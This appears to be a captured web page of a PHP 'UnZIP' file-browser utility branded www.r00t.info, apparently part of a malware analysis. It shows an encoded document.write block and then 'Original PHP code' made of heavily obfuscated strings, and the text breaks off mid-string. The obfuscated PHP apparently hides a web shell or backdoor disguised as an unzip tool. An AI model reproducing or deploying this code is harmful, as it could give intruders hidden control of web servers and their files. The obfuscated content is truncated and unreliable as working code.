document.write(unescape('%3C%68%74%6D%6C%3E%0A%3C%68%65%61%64%3E%3C%74%69%74%6C%65%3E%77%77%77%2E%72%30%30%74%2E%69%6E%66%6F%20%50%48%50%20%55%6E%5A%49%50%20%77%77%77%2E%73%75%6E%75%63%75%74%61%72%61%2E%6F%72%67%3C%2F%74%69%74%6C%65%3E%3C%2F%68%65%61%64%3E%0A%0A%3C%73%74%79%6C%65%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%3E%0A%09%62%6F%64%79%20%7B%0A%20%20%20%20%20%20%20%20%62%61%63%6B%67%72%6F%75%6E%64%3A%23%30%30%30%3B%0A%09%09%63%6F%6C%6F%72%3A%23%66%66%66%3B%0A%09%09%70%61%64%64%69%6E%67%3A%30%3B%0A%09%09%6D%61%72%67%69%6E%3A%30%3B%0A%09%09%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%76%65%72%64%61%6E%61%3B%0A%09%7D%0A%0A%09%2E%68%65%61%64%65%72%20%7B%0A%20%20%20%20%20%20%20%20%62%6F%72%64%65%72%2D%62%6F%74%74%6F%6D%3A%20%23%30%30%43%43%43%43%20%33%70%78%20%73%6F%6C%69%64%3B%0A%20%20%20%20%20%20%20%20%66%6F%6E%74%2D%73%69%7A%65%3A%31%2E%35%65%6D%3B%0A%20%20%20%20%20%20%20%20%62%61%63%6B%67%72%6F%75%6E%64%3A%23%33%36%39%3B%0A%20%20%20%20%20%20%20%20%70%61%64%64%69%6E%67%3A%31%30%70%78%20%30%3B%0A%20%20%20%20%20%20%20%20%77%69%64%74%68%3A%31%30%30%25%3B%0A%20%20%20%20%20%20%20%20%63%6C%65%61%72%3A%61%6C%6C%3B%0A%09%09%6D%61%72%67%69%6E%2D%62%6F%74%74%6F%6D%3A%31%30%70%78%3B%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%0A%20%20%20%20%20%20%20%20%7D%0A%09%2E%66%6F%6F%74%65%72%20%7B%0A%09%09%6D%61%72%67%69%6E%2D%74%6F%70%3A%31%30%70%78%3B%0A%09%09%62%6F%72%64%65%72%2D%74%6F%70%3A%20%23%30%30%43%43%43%43%20%33%70%78%20%73%6F%6C%69%64%3B%0A%09%09%77%69%64%74%68%3A%31%30%30%25%3B%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%0A%09%09%66%6F%6E%74%2D%73%69%7A%65%3A%30%2E%38%65%6D%3B%0A%09%7D%0A%09%0A%09%2E%6D%61%69%6E%20%7B%0A%09%09%6D%61%72%67%69%6E%3A%30%20%61%75%74%6F%3B%0A%09%09%77%69%64%74%68%3A%37%30%30%70%78%3B%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%09%09%0A%09%7D%0A%09%0A%09%68%33%7B%0A%09%09%66%6F%6E%74%2D%73%69%7A%65%3A%30%2E%38%65%6D%3B%0A%09%7D%0A%09%0A%09%61%20%7B%0A%09%09%63%6F%6C%6F%72%3A%23%30%30%43%43%43%43%3B%0A%09%7D%0A%0A%09%61%2E%66%6F%6C%64%65%72%20%7B%0A%09%09%70%61%64%64%69%6E%67%2D%6C%65%66%74%3A%32%30%70%78%3B%0A%09%09%62%61%63%6B%67%72%6F%75%6E%64%3A%20%75%72%6C%28%64%61%74%61%3A%69%6D%61%67%65%2F%67%69%66%3B%62%61%73%65%36%34%2C%52%30%6C%47%4F%44%6C%68%45%41%41%51%41%4F%5A%41%41%50%2F%4D%41%4A%4E%67%41%46%30%36%41%50%2F%2F%41%50%2F%55%41%50%2F%6C%41%50%2F%2F%2F%2F%2F%4A%41%4A%56%69%41%4F%79%35%41%4A%52%68%41%4F%61%7A%41%4E%53%68%41%4A%52%67%41%4D%43%4B%41%4A%5A%69%41%4D%36%62%41%50%33%4B%41%4B%42%71%41%50%2F%4B%41%50%2F%53%41%48%35%55%41%4D%75%58%41%50%2F%52%41%4E%43%71%50%66%2F%72%6A%4A%78%6D%41%4E%69%77%4F%76%2F%49%41%50%2F%50%41%4D%4F%4F%41%50%2F%4C%41%50%2F%59%52%63%32%61%41%46%30%38%41%50%2F%74%6B%76%2F%67%63%76%2F%61%41%50%2F%55%47%35%35%6F%41%4D%32%5A%41%4F%75%34%41%4F%53%78%41%50%2F%69%6C%5A%4E%66%41%50%2F%57%41%4E%47%64%41%4A%5A%67%41%4C%2B%4B%41%4A%68%6C%41%4E%65%6A%41%50%2F%58%4F%2B%6D%32%41%4E%4F%67%41%50%2F%6D%41%50%2F%65%58%2F%2F%73%41%50%2F%57%4B%2F%2F%6E%72%76%43%39%41%50%33%4A%41%50%2F%52%43%50%2F%67%67%35%52%65%41%50%2F%2F%2F%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%48%35%42%41%45%41%41%45%41%41%4C%41%41%41%41%41%41%51%41%42%41%41%41%41%65%50%67%45%43%43%67%34%53%46%68%6F%65%47%44%51%30%4B%6A%41%71%49%51%41%30%36%50%42%45%52%41%41%41%42%43%4A%6D%5A%4D%59%49%42%4B%79%6F%4C%6F%54%51%70%43%61%55%4A%4F%77%69%64%50%69%34%4D%72%54%55%79%4D%41%36%79%48%67%2B%64%4A%42%59%51%45%43%45%6F%47%77%61%2B%76%6A%2B%64%4E%78%6F%53%45%69%63%59%49%78%77%48%79%78%30%42%6E%53%43%2F%42%68%6B%54%6C%70%59%55%7A%6B%41%42%4D%38%76%4C%31%4E%55%41%31%35%30%35%48%39%2F%6C%46%39%67%42%4A%67%54%72%37%4F%30%6C%36%44%30%32%42%66%50%30%39%44%67%73%67%67%38%74%41%2F%7A%39%2F%67%4D%76%42%46%55%51%49%61%43%67%77%59%4D%43%4B%6A%78%43%46%41%67%41%4F%77%3D%3D%29%20%6E%6F%2D%72%65%70%65%61%74%3B%09%0A%09%7D%0A%09%0A%09%61%2E%7A%69%70%20%7B%0A%09%09%70%61%64%64%69%6E%67%2D%6C%65%66%74%3A%32%30%70%78%3B%0A%09%09%63%6F%6C%6F%72%3A%23%30%66%30%3B%0A%09%09%62%61%63%6B%67%72%6F%75%6E%64%3A%20%75%72%6C%28%64%61%74%61%3A%69%6D%61%67%65%2F%67%69%66%3B%62%61%73%65%36%34%2C%52%30%6C%47%4F%44%6C%68%45%41%41%51%41%50%63%41%41%41%41%41%41%45%35%66%63%33%4B%42%6B%6E%32%4D%6E%71%68%2B%4B%71%68%2F%4B%36%75%43%4C%72%6D%54%51%37%79%58%53%4E%75%56%54%38%6D%6E%57%38%71%6F%58%4E%75%39%63%39%33%43%65%74%37%46%66%34%69%57%70%70%47%66%72%35%6D%6C%73%35%71%6D%73%35%6D%6E%74%35%75%70%75%4A%71%70%75%5A%79%71%75%5A%79%71%75%70%79%72%76%61%69%79%76%71%43%76%77%4B%4B%78%77%61%53%79%77%71%6D%34%79%61%32%37%79%72%4B%35%77%72%47%37%78%37%57%2B%79%4C%62%42%7A%39%2F%49%67%2B%44%4B%68%75%48%4C%69%4F%48%4C%69%66%44%55%69%50%50%65%6C%2F%58%6B%6F%66%6A%72%72%50%6E%74%72%2F%6E%76%73%76%72%78%74%66%76%30%75%2F%7A%32%76%73%44%48%30%4D%4C%51%33%38%2F%64%37%4E%6E%6E%39%66%33%35%77%76%33%36%77%2F%37%37%78%76%37%38%78%2F%2F%2B%79%75%58%73%38%2B%76%78%39%76%58%34%2B%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%48%35%42%41%45%41%41%50%38%41%4C%41%41%41%41%41%41%51%41%42%41%41%41%41%69%6D%41%50%38%4A%48%44%67%51%78%6F%4F%44%44%77%6A%2B%79%34%41%51%59%51%77%5A%47%69%59%6B%48%50%6A%67%67%6B%55%4C%46%42%35%77%6B%4C%46%42%34%72%38%46%49%45%45%71%51%47%43%41%41%45%4F%45%49%54%36%79%57%4D%6D%53%42%59%46%2F%44%33%61%49%6D%4C%69%41%78%51%6B%55%43%56%53%77%61%50%48%79%41%59%67%41%4E%42%6B%30%63%44%43%43%52%41%6B%54%50%58%56%41%6D%4B%69%41%5A%59%49%58%4E%57%7A%30%2F%43%42%67%34%67%45%57%4B%56%61%34%6F%48%45%44%52%38%38%63%41%79%59%57%49%45%43%32%4C%4E%6D%47%44%31%4A%53%6E%4D%43%57%37%59%4F%48%48%53%63%4B%44%49%48%32%4C%55%53%50%43%68%55%32%7A%45%76%77%70%49%63%4B%42%7A%50%77%68%54%6C%44%68%67%51%4A%48%54%44%49%56%63%67%77%67%73%41%49%44%7A%49%45%42%41%41%37%29%20%6E%6F%2D%72%65%70%65%61%74%3B%0A%09%7D%0A%09%0A%09%73%70%61%6E%2E%66%69%6C%65%20%7B%0A%09%09%70%61%64%64%69%6E%67%2D%6C%65%66%74%3A%32%30%70%78%3B%0A%09%09%62%61%63%6B%67%72%6F%75%6E%64%3A%20%75%72%6C%28%64%61%74%61%3A%69%6D%61%67%65%2F%67%69%66%3B%62%61%73%65%36%34%2C%52%30%6C%47%4F%44%6C%68%45%41%41%51%41%50%63%41%41%41%41%41%41%49%65%48%68%34%69%49%69%49%71%4B%69%6F%2B%50%6A%35%32%64%6E%61%57%6C%70%61%32%74%72%62%61%32%74%72%71%36%75%74%33%64%33%66%6E%35%2B%66%72%36%2B%76%76%37%2B%2F%7A%38%2F%50%33%39%2F%66%37%2B%2F%76%2F%2F%2F%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%48%35%42%41%45%41%41%50%38%41%4C%41%41%41%41%41%41%51%41%42%41%41%41%41%68%79%41%50%38%68%47%45%69%51%59%49%4A%2F%43%42%4D%69%69%4D%43%77%59%51%51%45%43%67%34%6D%46%4F%69%77%49%59%49%48%45%53%63%75%72%42%6A%42%51%41%53%4D%45%69%6C%79%46%42%43%67%5A%41%47%46%48%43%73%4F%51%4A%6D%79%59%51%43%57%4C%53%4F%38%52%4C%67%78%35%6B%79%4B%45%48%4C%71%31%43%6B%54%35%59%4F%66%51%48%39%43%36%45%6B%7A%67%6F%4F%6A%53%49%38%2B%49%45%71%52%67%64%4F%6E%54%68%73%77%58%62%69%67%71%74%57%71%44%4B%62%47%5A%48%6A%7A%41%49%47%53%59%4D%4F%57%52%42%67%51%41%44%73%3D%29%20%6E%6F%2D%72%65%70%65%61%74%3B%0A%09%7D%0A%20%20%20%20%20%20%20%20%0A%09%2E%66%6F%6C%64%65%72%6C%69%73%74%20%7B%0A%09%09%70%61%64%64%69%6E%67%3A%35%70%78%3B%0A%09%09%62%6F%72%64%65%72%3A%73%6F%6C%69%64%20%33%70%78%20%23%33%36%39%3B%09%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%6C%65%66%74%3B%0A%09%09%77%69%64%74%68%3A%33%30%30%70%78%3B%0A%09%09%6D%61%72%67%69%6E%3A%30%20%61%75%74%6F%3B%0A%09%09%68%65%69%67%68%74%3A%32%30%30%70%78%3B%0A%09%09%6F%76%65%72%66%6C%6F%77%3A%61%75%74%6F%3B%0A%09%7D%0A%09%0A%09%2E%75%6E%7A%69%70%20%7B%0A%09%09%70%61%64%64%69%6E%67%3A%35%70%78%3B%0A%09%09%62%6F%72%64%65%72%3A%73%6F%6C%69%64%20%33%70%78%20%23%38%30%30%3B%0A%09%09%66%6F%6E%74%2D%73%69%7A%65%3A%30%2E%38%65%6D%3B%0A%09%7D%0A%09%0A%3C%2F%73%74%79%6C%65%3E%0A%0A%3C%62%6F%64%79%3E%0A%09%3C%64%69%76%20%63%6C%61%73%73%3D%22%68%65%61%64%65%72%22%3E%77%77%77%2E%72%30%30%74%2E%69%6E%66%6F%20%50%48%50%20%55%6E%5A%49%50%21%21%21%3C%2F%64%69%76%3E%0A%09%3C%64%69%76%20%63%6C%61%73%73%3D%22%6D%61%69%6E%22%3E%0A%09%09%42%72%6F%77%73%65%20%79%6F%75%72%20%73%65%72%76%65%72%20%64%69%72%65%63%74%6F%72%69%65%73%20%74%6F%20%66%69%6E%64%20%74%68%65%20%7A%69%70%20%66%69%6C%65%20%79%6F%75%20%77%61%6E%74%20%74%6F%20%75%6E%7A%69%70%2E%20%43%6C%69%63%6B%20%74%68%65%20%66%69%6C%65%20%74%6F%20%75%6E%7A%69%70%20%69%74%2E%20%50%6C%65%61%73%65%20%6D%61%6B%65%20%73%75%72%65%20%79%6F%75%20%68%61%76%65%20%67%69%76%65%6E%20%61%70%70%72%6F%70%72%69%61%74%65%20%70%65%72%6D%69%73%73%69%6F%6E%73%21%0A'));
</script>
<title>www.r00t.info PHP UnZIP www.sunucutara.org</title><style type="text/css">
	body {
        background:#000;
		color:#fff;
		padding:0;
		margin:0;
		font-family:verdana;
	}

	.header {
        border-bottom: #00CCCC 3px solid;
        font-size:1.5em;
        background:#369;
        padding:10px 0;
        width:100%;
        clear:all;
		margin-bottom:10px;
		text-align:center;
        }
	.footer {
		margin-top:10px;
		border-top: #00CCCC 3px solid;
		width:100%;
		text-align:center;
		font-size:0.8em;
	}
	
	.main {
		margin:0 auto;
		width:700px;
		text-align:center;		
	}
	
	h3{
		font-size:0.8em;
	}
	
	a {
		color:#00CCCC;
	}

	a.folder {
		padding-left:20px;
		background: url(data:image/gif;base64,R0lGODlhEAAQAOZAAP/MAJNgAF06AP//AP/UAP/lAP/////JAJViAOy5AJRhAOazANShAJRgAMCKAJZiAM6bAP3KAKBqAP/KAP/SAH5UAMuXAP/RANCqPf/rjJxmANiwOv/IAP/PAMOOAP/LAP/YRc2aAF08AP/tkv/gcv/aAP/UG55oAM2ZAOu4AOSxAP/ilZNfAP/WANGdAJZgAL+KAJhlANejAP/XO+m2ANOgAP/mAP/eX//sAP/WK//nrvC9AP3JAP/RCP/gg5ReAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAEAALAAAAAAQABAAAAePgECCg4SFhoeGDQ0KjAqIQA06PBERAAABCJmZMYIBKyoLoTQpCaUJOwidPi4MrTUyMA6yHg+dJBYQECEoGwa+vj+dNxoSEicYIxwHyx0BnSC/BhkTlpYUzkABM8vL1NUA1505H9/lF9gBJgTr7O0l6D02BfP09Dgsgg8tA/z9/gMvBFUQIaCgwYMCKjxCFAgAOw==) no-repeat;	
	}
	
	a.zip {
		padding-left:20px;
		color:#0f0;
		background: url(data:image/gif;base64,R0lGODlhEAAQAPcAAAAAAE5fc3KBkn2Mnqh+Kqh/K6uCLrmTQ7yXSNuVT8mnW8qoXNu9c93Cet7Ff4iWppGfr5mls5qms5mnt5upuJqpuZyquZyqupyrvaiyvqCvwKKxwaSywqm4ya27yrK5wrG7x7W+yLbBz9/Ig+DKhuHLiOHLifDUiPPel/XkofjrrPntr/nvsvrxtfv0u/z2vsDH0MLQ38/d7Nnn9f35wv36w/77xv78x//+yuXs8+vx9vX4+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAP8ALAAAAAAQABAAAAimAP8JHDgQxoODDwj+y4AQYQwZGiYkHPjggkULFB5wkLFB4r8FIEEqQGCAAEOEIT6yWMmSBYF/D3aImLiAxQkUCVSwaPHyAYgANBk0cDCCRAkTPXVAmKiAZYIXNWz0/CBg4gEWKVa4oHEDR88cAyYWIEC2LNmGD1JSnMCW7YOHHScKDIH2LUSPChU2zEvwpIcKBzPwhTlDhgQJHTDIVcgwgsAIDzIEBAA7) no-repeat;
	}
	
	span.file {
		padding-left:20px;
		background: url(data:image/gif;base64,R0lGODlhEAAQAPcAAAAAAIeHh4iIiIqKio+Pj52dnaWlpa2trba2trq6ut3d3fn5+fr6+vv7+/z8/P39/f7+/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAP8ALAAAAAAQABAAAAhyAP8hGEiQYIJ/CBMiiMCwYQQECg4mFOiwIYIHEScurBjBQASMEilyFBCgZAGFHCsOQJmyYQCWLSO8RLgx5kyKEHLq1CkT5YOfQH9C6EkzgoOjSI8+IEqRgdOnThswXbigqtWqDKbGZHjzAIGSYMOWRBgQADs=) no-repeat;
	}
        
	.folderlist {
		padding:5px;
		border:solid 3px #369;	
		text-align:left;
		width:300px;
		margin:0 auto;
		height:200px;
		overflow:auto;
	}
	
	.unzip {
		padding:5px;
		border:solid 3px #800;
		font-size:0.8em;
	}
	
</style></head>



<body>
	<div class="header">www.r00t.info PHP UnZIP!!!</div>
	<div class="main">
		Browse your server directories to find the zip file you want to unzip. Click the file to unzip it. Please make sure you have given appropriate permissions!
		<h3>Index of /var/www/html</h3>
		<div class="folderlist">
			<a class="folder" title="go up to parent directory" href="?dir=/var/www">..</a><br>
<span class="file">beneri.se_malware_analysis</span><br><span class="file">uzip.php</span><br>		</div>

	</div>
	<div class="footer">

	</div>


</body></html>

Original PHP code

<?php
$stt1 = "Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNz\x434pSi4upI5yUWJxqZhKfkpq\x63n5Kq\x41\x62SzKLVMQ6W4pMR\x41EwlY\x41w\x41\x3d";
$stt0 = "\x3dg\x2bj3il\x2bIKF\x43XMYFiI\x2bef\x636/8rtfP/4e4ssoDqURQko\x43eeo\x43MGM\x42e7ZYsfSefF6oY\x61h59/LnRgTzV\x2bhqKspGqFnu80usP\x2bQK3\x62\x41kvGMsW86uhM4On\x61eDiJ2tVKXl\x41nv3Tr\x62DSzV\x42\x61RiR3l\x2bvVn1\x41IPGIXl6\x61fP0hz\x62T56\x63mY0LV32lwPiPVdef3tDdfZ5vlQzv/l8Oir\x62k\x2bdXryy7pV\x62Fk\x627v/uXSSnHf8VW352KmEeOMRSOOdUYOhWErJqPJXUQontX6D\x63PNdGF/Doqdd\x63l/RwL8w3H\x431vyTY/LeSQuxEJdHSXpg/L3F/jr\x43\x2b\x6192MDo\x634\x2bkrX2e\x2bv3SN\x62q2NwM62J2oHnxL\x61\x42Puo4ovy\x61Dgf2jHpiJu70zzHlIqEXXXyE\x41E2P6O12l93Xl97WTf73ffd2sfu2M3\x2b7Fp\x61Z7ylX3\x61l8qfQ6Ts6H49L2skTY8I1uIkl9L1DprfiyxU2H\x61Tt\x63fiHZEPLfyM/OE\x2bwHw9g9DhGtsmM1XIdT5ksqMPsonN8\x439w1\x42H\x62OH\x61Zz\x433ujjOQhv34J\x43\x63ty\x42rPWuGHLMyWlY\x63n\x42QJ3pi\x421mhOxV\x42\x43omfps1Oi17ZqIgYS